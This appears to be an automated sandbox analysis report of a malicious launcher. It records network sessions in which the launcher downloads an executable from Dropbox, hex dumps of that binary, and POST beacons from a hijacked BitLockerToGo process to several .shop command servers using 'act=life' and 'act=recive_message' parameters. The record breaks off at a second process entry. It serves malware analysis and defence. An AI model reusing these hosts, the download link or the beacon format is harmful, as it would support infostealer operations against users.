1	192.168.2.4	49731	162.125.66.15	443	7788	C:\Users\user\Desktop\Launcher_x32_x64.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 19:18:01 UTC	251	OUT	GET /cd/0/get/CZuc7lbOcorcPO1KnxZRm4I-EZZJmX4CAtKb51Ff50K-MBU4Nlue9UTG2pSEpIIqdE9VtxyEjty_TXqZ6fmGkkyezkdESSzw2JVLLryoStBMg9uHfHjByfogdOWZUZ_u2nqNaED64BuzF6YgGT3bVBkI/file?dl=1 HTTP/1.1 Host: uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com
2024-08-31 19:18:01 UTC	747	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="Launcher!.exe"; filename*=UTF-8''Launcher%21.exe Content-Security-Policy: sandbox Etag: 1724952814485282d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 300 X-Webkit-Csp: sandbox Date: Sat, 31 Aug 2024 19:18:01 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 17182720 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 9a3dd77048504af2a94fd081b5edf161 Connection: close
2024-08-31 19:18:01 UTC	15637	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 48 03 01 00 00 00 00 e0 00 02 01 0b 01 03 00 00 b2 71 00 00 fe 08 00 00 00 00 00 b0 96 07 00 00 10 00 00 00 00 f7 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 30 09 01 00 04 00 00 ea 68 06 01 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELHq@0h@
2024-08-31 19:18:01 UTC	16384	IN	Data Raw: 39 3b 75 de 89 23 eb da cc cc cc 8b 0d e0 3e 3f 01 64 8b 09 8b 09 3b 61 08 76 17 8b 59 10 85 db 75 17 8b 44 24 04 0f b6 40 0f 83 e0 1f 88 44 24 08 c3 e8 84 2d 07 00 eb d2 8d 7c 24 04 39 3b 75 e1 89 23 eb dd cc cc cc cc cc cc 8b 0d e0 3e 3f 01 64 8b 09 8b 09 3b 61 08 76 23 8b 59 10 85 db 75 23 8b 44 24 04 0f b6 48 0f 83 e1 1f 80 f9 11 75 05 8b 40 28 eb 02 31 c0 89 44 24 08 c3 e8 38 2d 07 00 eb c6 8d 7c 24 04 39 3b 75 d5 89 23 eb d1 cc cc cc cc cc cc cc cc cc cc 8b 0d e0 3e 3f 01 64 8b 09 8b 09 3b 61 08 76 1e 8b 59 10 85 db 75 1e 8b 44 24 04 0f b6 48 0f 83 e1 1f 80 f9 15 74 02 31 c0 89 44 24 08 c3 e8 ed 2c 07 00 eb cb 8d 7c 24 04 39 3b 75 da 89 23 eb d6 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 0d e0 3e 3f 01 64 8b 09 8b 09 3b 61 08 76 24 83 ec 08 8b Data Ascii: 9;u#>?d;avYuD$@D$-\|$9;u#>?d;av#Yu#D$Hu@(1D$8-\|$9;u#>?d;avYuD$Ht1D$,\|$9;u#>?d;av$
2024-08-31 19:18:01 UTC	747	IN	Data Raw: 8b 54 24 34 8b 0a 8b 5c 24 5c 89 1c 24 ff d1 c6 44 24 21 00 0f b6 44 24 22 f6 c0 02 74 18 83 e0 fd 88 44 24 22 88 44 24 23 8b 54 24 50 8b 0a ff d1 0f b6 44 24 22 f6 c0 01 74 0f 83 e0 fe 88 44 24 23 8b 54 24 4c 8b 02 ff d0 83 c4 54 c3 31 c0 89 c1 e8 e4 01 07 00 90 e8 2e 33 03 00 83 c4 54 c3 e8 55 ed 06 00 e9 c0 fd ff ff 8b 0d e0 3e 3f 01 64 8b 09 8b 09 3b 61 08 76 19 83 ec 04 8b 59 10 85 db 75 16 8b 42 04 89 04 24 e8 5b 00 00 00 83 c4 04 c3 e8 a2 ec 06 00 eb d0 8d 7c 24 08 39 3b 75 e2 89 23 eb de cc cc cc cc 8b 0d e0 3e 3f 01 64 8b 09 8b 09 3b 61 08 76 11 8b 59 10 85 db 75 11 8b 42 08 ff 88 c8 00 00 00 c3 e8 6a ec 06 00 eb d8 8d 7c 24 04 39 3b 75 e7 89 23 eb e3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 0d e0 3e 3f 01 64 8b 09 8b 09 3b 61 08 0f 86 99 00 00 00 Data Ascii: T$4\$\$D$!D$"tD$"D$#T$PD$"tD$#T$LT1.3TU>?d;avYuB$[\|$9;u#>?d;avYuBj\|$9;u#>?d;a
2024-08-31 19:18:01 UTC	16384	IN	Data Raw: 4c 24 14 8b 11 66 89 50 0c 8b 15 00 44 3f 01 85 d2 74 0d e8 c8 fe 06 00 89 0f 8b 50 18 89 57 04 89 48 18 8b 4c 24 24 89 48 04 89 44 24 28 83 c4 1c c3 8d 05 00 42 bc 00 89 04 24 8d 05 00 97 ec 00 89 44 24 04 e8 c6 8c 06 00 8d 05 2e f2 c6 00 89 04 24 c7 44 24 04 17 00 00 00 e8 40 90 06 00 8d 05 8a 89 c8 00 89 04 24 c7 44 24 04 26 00 00 00 e8 2a 90 06 00 90 e8 54 ea 06 00 e9 3f fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 14 8b 44 24 18 89 04 24 8b 44 24 1c 89 44 24 04 c6 44 24 08 01 8b 44 24 14 89 44 24 0c e8 0c 00 00 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 8b 0d e0 3e 3f 01 64 8b 09 8b 09 3b 61 08 0f 86 c7 04 00 00 83 ec 34 8b 44 24 38 85 c0 0f 84 f7 03 00 00 0f b6 4c 24 40 84 c9 75 2d 8b 50 10 85 d2 75 26 8b 50 04 85 d2 75 0d 8b 50 24 85 d2 Data Ascii: L$fPD?tPWHL$$HD$(B$D$.$D$@$D$&*T?D$$D$D$D$D$D$>?d;a4D$8L$@u-Pu&PuP$
2024-08-31 19:18:02 UTC	16083	IN	Data Raw: 09 31 d2 bd 09 00 00 00 eb 04 8d 54 1a f8 83 fa 28 0f 83 8a 00 00 00 89 54 24 14 8d 4d dd 89 cb f7 db 89 ce 89 d9 89 c7 d3 e0 83 c5 fd 89 e9 8b 54 24 24 d3 ea 89 54 24 18 c1 e9 05 83 f9 01 19 c9 83 f1 ff 83 fe 20 19 d2 f7 d2 09 f2 89 ce 89 d1 d3 ff 21 fe 83 fb 20 19 d2 21 d0 83 fd 20 19 d2 8b 5c 24 18 21 d3 09 d8 09 c6 83 e6 03 8b 54 24 14 8d 04 96 3d a0 00 00 00 73 73 8b 4c 24 20 84 01 8d 04 c1 89 04 24 c7 44 24 04 01 00 00 00 c7 44 24 08 00 00 00 00 e8 b3 22 07 00 83 c4 1c c3 8b 44 24 20 84 00 05 08 05 00 00 89 04 24 c7 44 24 04 01 00 00 00 c7 44 24 08 00 00 00 00 e8 8c 22 07 00 83 c4 1c c3 8b 44 24 20 84 00 05 00 05 00 00 89 04 24 c7 44 24 04 01 00 00 00 c7 44 24 08 00 00 00 00 e8 65 22 07 00 83 c4 1c c3 b9 a0 00 00 00 e8 67 be 06 00 89 d0 b9 00 01 00 Data Ascii: 1T(T$MT$$T$ ! ! \$!T$=ssL$ $D$D$"D$ $D$D$"D$ $D$D$e"g
2024-08-31 19:18:02 UTC	16384	IN	Data Raw: 0f b7 43 32 89 c1 0f af c5 83 c1 f8 03 46 10 83 c0 08 90 89 04 24 89 4c 24 04 e8 be f9 05 00 8b 44 24 28 8b 5c 24 68 8b 6c 24 70 8b 74 24 6c 89 c1 89 e8 89 cd e9 68 ff ff ff 0f b6 43 30 0f b6 73 31 45 01 c2 01 f1 8b 74 24 6c 8b 44 24 28 89 6c 24 14 8b 6c 24 70 8b 6c 24 14 83 fd 08 0f 8d 57 ff ff ff 0f b6 04 2f 80 f8 01 77 06 c6 04 2f 04 eb c7 80 f8 05 0f 82 73 02 00 00 89 4c 24 58 8b 4b 34 f7 c1 01 00 00 00 74 04 8b 0a eb 02 89 d1 89 4c 24 50 89 54 24 54 0f b6 56 04 f6 c2 08 74 07 31 d2 e9 b3 00 00 00 88 44 24 12 8b 53 2c 8b 02 8b 6e 08 89 0c 24 89 6c 24 04 ff d0 8b 44 24 6c 0f b6 48 04 8b 5c 24 08 f6 c1 01 74 44 8b 6c 24 68 8b 75 34 f7 c6 04 00 00 00 74 04 31 c9 eb 37 89 5c 24 18 8b 45 20 8b 50 10 8b 02 8b 4c 24 50 89 0c 24 89 4c 24 04 ff d0 0f b6 44 24 Data Ascii: C2F$L$D$(\$hl$pt$lhC0s1Et$lD$(l$l$pl$W/w/sL$XK4tL$PT$TVt1D$S,n$l$D$lH\$tDl$hu4t17\$E PL$P$L$D$
2024-08-31 19:18:02 UTC	16384	IN	Data Raw: 44 24 34 0f b6 c0 0f b6 c0 89 44 24 1c 90 8d 0d 68 55 3f 01 89 0c 24 8b 4c 24 20 89 4c 24 04 c7 44 24 08 00 00 00 00 e8 51 a4 06 00 8b 44 24 14 8b 48 10 8d 15 40 54 3f 01 89 14 24 c1 e1 0d 89 4c 24 04 c7 44 24 08 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 10 00 00 00 00 e8 5d ee 00 00 8b 44 24 1c 3d 88 00 00 00 73 57 c1 e0 07 8b 0d 90 bd 3d 01 8d 15 70 be 3d 01 8d 44 02 38 d1 e9 83 e1 01 8d 0c 49 8d 04 c8 89 04 24 8b 44 24 14 89 44 24 04 e8 94 fc 01 00 8b 44 24 14 8b 48 0c 8b 54 24 30 01 d1 89 48 48 89 04 24 c6 44 24 04 00 e8 07 e7 ff ff 8b 44 24 14 89 44 24 38 83 c4 28 c3 b9 88 00 00 00 e8 b1 3f 06 00 8d 05 bc 26 c6 00 89 04 24 c7 44 24 04 0d 00 00 00 e8 eb d0 05 00 8d 05 bc 26 c6 00 89 04 24 c7 44 24 04 0d 00 00 00 e8 d5 d0 05 00 90 e8 ff 2a 06 00 e9 Data Ascii: D$4D$hU?$L$ L$D$QD$H@T?$L$D$D$D$]D$=sW=p=D8I$D$D$D$HT$0HH$D$D$D$8(?&$D$&$D$*
2024-08-31 19:18:02 UTC	301	IN	Data Raw: d0 e8 96 96 84 c0 96 74 03 83 c0 08 8b 6c 24 74 39 c5 74 24 8b 6c 24 44 8b 75 20 85 f6 0f 84 78 04 00 00 8b 7e 04 85 ff 0f 85 6d 04 00 00 83 3e 10 72 09 e9 63 04 00 00 8b 6c 24 44 8b 74 24 78 85 f6 0f 84 a2 01 00 00 0f b6 7e 0f 83 e7 1f 97 80 f8 13 97 0f 85 e5 03 00 00 89 74 24 3c 0f b7 7e 22 66 f7 c7 00 80 0f 85 38 03 00 00 66 83 7e 20 01 0f 85 a5 02 00 00 0f b6 7e 0c 97 f6 c0 01 97 74 07 b8 34 00 00 00 eb 05 b8 24 00 00 00 8b 3c 06 89 7c 24 40 39 ef 0f 84 ea 00 00 00 0f b6 47 0f 83 e0 1f 80 f8 16 0f 85 95 00 00 00 0f b6 47 0c f6 c0 01 75 04 31 c0 eb 03 8d 47 24 85 c0 74 74 0f b6 45 0c f6 c0 01 75 04 31 c0 eb 5f 0f b6 45 0f 83 e0 1f 80 f8 14 77 28 80 f8 12 77 14 80 f8 11 75 05 8d 45 2c eb 44 80 f8 12 75 3c 8d 45 28 eb 3a 80 f8 13 75 05 8d 45 24 eb 30 8d Data Ascii: tl$t9t$l$Du x~m>rcl$Dt$x~t$<~"f8f~ ~t4$<\|$@9GGu1G$ttEu1_Ew(wuE,Du<E(:uE$0
2024-08-31 19:18:02 UTC	16384	IN	Data Raw: 20 85 c0 0f 85 5f 01 00 00 8b 47 20 39 45 20 74 4a e9 52 01 00 00 80 f8 14 0f 85 49 01 00 00 8b 47 28 85 c0 74 35 8b 44 24 70 85 c0 75 04 31 c0 eb 21 89 3c 24 89 44 24 04 c6 44 24 08 01 e8 cd 36 05 00 8b 44 24 0c 8b 6c 24 44 8b 74 24 3c 8b 7c 24 40 85 c0 0f 84 0d 01 00 00 0f b7 46 22 25 ff 7f 00 00 90 66 85 c0 75 06 31 c9 31 c0 eb 47 0f b6 4e 0c f6 c1 01 74 07 b9 34 00 00 00 eb 05 b9 24 00 00 00 0f b7 56 20 01 d0 0f b7 c0 01 ce 3d 00 00 02 00 0f 87 c1 00 00 00 0f b7 d2 39 c2 0f 87 ad 00 00 00 29 d0 89 c1 f7 d8 c1 e2 02 c1 f8 1f 21 c2 8d 04 16 31 d2 31 db eb 40 8d 05 f0 90 41 00 89 44 24 64 8d 44 24 70 89 44 24 68 8d 44 24 64 89 04 24 e8 05 e9 05 00 83 c4 6c c3 83 c4 6c c3 8b 34 90 0f b6 6e 0d 8d 5c 2b ff 87 dd f7 db 87 dd 21 eb 42 03 1e 8b 6c 24 44 39 d1 Data Ascii: _G 9E tJRIG(t5D$pu1!<$D$D$6D$l$Dt$<\|$@F"%fu11GNt4$V =9)!11@AD$dD$pD$hD$d$ll4n\+!Bl$D9
2024-08-31 19:18:02 UTC	16384	IN	Data Raw: e8 3b 33 02 00 90 90 8d 05 e0 bc 3d 01 89 04 24 e8 4b 13 ff ff 8b 05 44 be 3d 01 89 44 24 0c 8b 0d 40 be 3d 01 89 4c 24 14 90 90 8d 15 e0 bc 3d 01 89 14 24 e8 47 15 ff ff 8b 44 24 0c 8b 4c 24 14 31 d2 eb 35 89 54 24 10 8b 05 14 be 3d 01 84 00 8b 04 98 84 00 05 40 08 00 00 89 04 24 c7 44 24 04 40 00 00 00 e8 35 c6 05 00 8b 44 24 10 8d 50 01 8b 44 24 0c 8b 4c 24 14 39 c2 7d 0d 8b 1c 91 81 fb 00 04 00 00 72 bc eb 3a c7 05 c8 46 3d 01 00 00 00 00 c7 05 cc 46 3d 01 00 00 00 00 8d 05 a8 54 3f 01 89 04 24 e8 93 23 06 00 8b 44 24 04 8b 4c 24 08 89 05 2c 47 3d 01 89 0d 30 47 3d 01 83 c4 18 c3 89 d8 b9 00 04 00 00 e8 8f be 05 00 90 e8 69 74 05 00 e9 04 ff ff ff cc cc cc cc 8b 0d e0 3e 3f 01 64 8b 09 8b 09 3b 61 08 76 32 83 ec 0c 8b 59 10 85 db 75 2f 8b 42 08 89 44 Data Ascii: ;3=$KD=D$@=L$=$GD$L$15T$=@$D$@5D$PD$L$9}r:F=F=T?$#D$L$,G=0G=it>?d;av2Yu/BD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	172.67.209.93	443	8176	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 19:18:22 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tenseddrywsqio.shop
2024-08-31 19:18:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-31 19:18:22 UTC	796	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 19:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2v5k3riiupnq7pc2ag0fg1mt6n; expires=Wed, 25 Dec 2024 13:05:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GOB6DDingBrCnuvVIJOLNIzpWAvNfBBtvCnsCYHWov92PG5nVQmk4fAmP7NtnNN4yvVWvFtdbiSw2SpiRsNkYoRDLOYX3ZgVRYJItuDkJfoRCqJ1Uv8Cf%2Bbv95ep6R5ZyDmfrX2H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bbf5db4bcee7d02-EWR alt-svc: h3=":443"; ma=86400
2024-08-31 19:18:22 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-08-31 19:18:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	188.114.97.3	443	8176	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 19:18:23 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: locatedblsoqp.shop
2024-08-31 19:18:23 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-31 19:18:23 UTC	798	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 19:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c4g8femprjgldvqq8ufpis3e3v; expires=Wed, 25 Dec 2024 13:05:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7VwSxNQexgdIQY%2B8Rzs86CNwmjakdZbigMQo2kRMfE8HOngwWZY5z4UiDC8UjTuRBWib9UuzkTCU9NDh9lQ7pOnvvLzfRR6TIjFVUcc1cSQIW5myZ7p07xLzUGx5Bb6QawKngfM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bbf5dba7c534263-EWR alt-svc: h3=":443"; ma=86400
2024-08-31 19:18:23 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-08-31 19:18:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	188.114.97.3	443	8176	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 19:18:24 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: traineiwnqo.shop
2024-08-31 19:18:24 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-31 19:18:24 UTC	553	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 19:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F4pe9%2FG3LOEm%2FpLteHD74xI1CTRrBn11H6KCxNtTUwqjxh6SJv%2Bc1y4NR9r01zawk%2BjbeZqL8rwQXVxUBuai%2FZgO7uDOR8oamfNfKaeu04w8xxnMxyV0eEKq%2Ff1EI8wmkHv5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bbf5dc0bdd772a1-EWR
2024-08-31 19:18:24 UTC	816	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-08-31 19:18:24 UTC	1369	IN	Data Raw: 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f Data Ascii: s/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('co
2024-08-31 19:18:24 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 49 41 6b 5f 76 5a 67 68 62 4a 71 61 62 4b 65 68 67 66 4b 55 6d 48 67 70 50 6b 37 41 57 47 47 73 69 6e 7a 34 41 59 5a 64 73 55 6b 2d 31 37 32 35 31 33 31 39 30 34 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 Data Ascii: <input type="hidden" name="atok" value="IAk_vZghbJqabKehgfKUmHgpPk7AWGGsinz4AYZdsUk-1725131904-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn"
2024-08-31 19:18:24 UTC	851	IN	Data Raw: 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c Data Ascii: sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare<
2024-08-31 19:18:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	188.114.97.3	443	8176	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 19:18:24 UTC	353	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=IAk_vZghbJqabKehgfKUmHgpPk7AWGGsinz4AYZdsUk-1725131904-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: traineiwnqo.shop
2024-08-31 19:18:24 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 6e 6c 63 7a 6a 72 70 66 77 61 64 66 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--nlczjrpfwadf&j=
2024-08-31 19:18:25 UTC	800	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 19:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g26n69jnnaq6m0fnnqrvl9kftt; expires=Wed, 25 Dec 2024 13:05:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cec1%2BxzJj1OeW4tXEcEOC2h1ZrS5YwxobbmCIJuEjPCIE15gT2D%2BNRIP%2Bj4elK3dzGX6NWUDQXl%2FfMit5xP7gUJ7%2BzngDS3hBB0dpMH66dOjSjLSbDb7VahjdHrzoBKGYgPl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bbf5dc5293f8ccd-EWR alt-svc: h3=":443"; ma=86400
2024-08-31 19:18:25 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-08-31 19:18:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:17:57
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\Launcher_x32_x64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Launcher_x32_x64.exe"
Imagebase:	0xe30000
File size:	62'256'356 bytes
MD5 hash:	3934BED89091117678E2F202033FA78A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:18:13
Start date:	31/08/2024
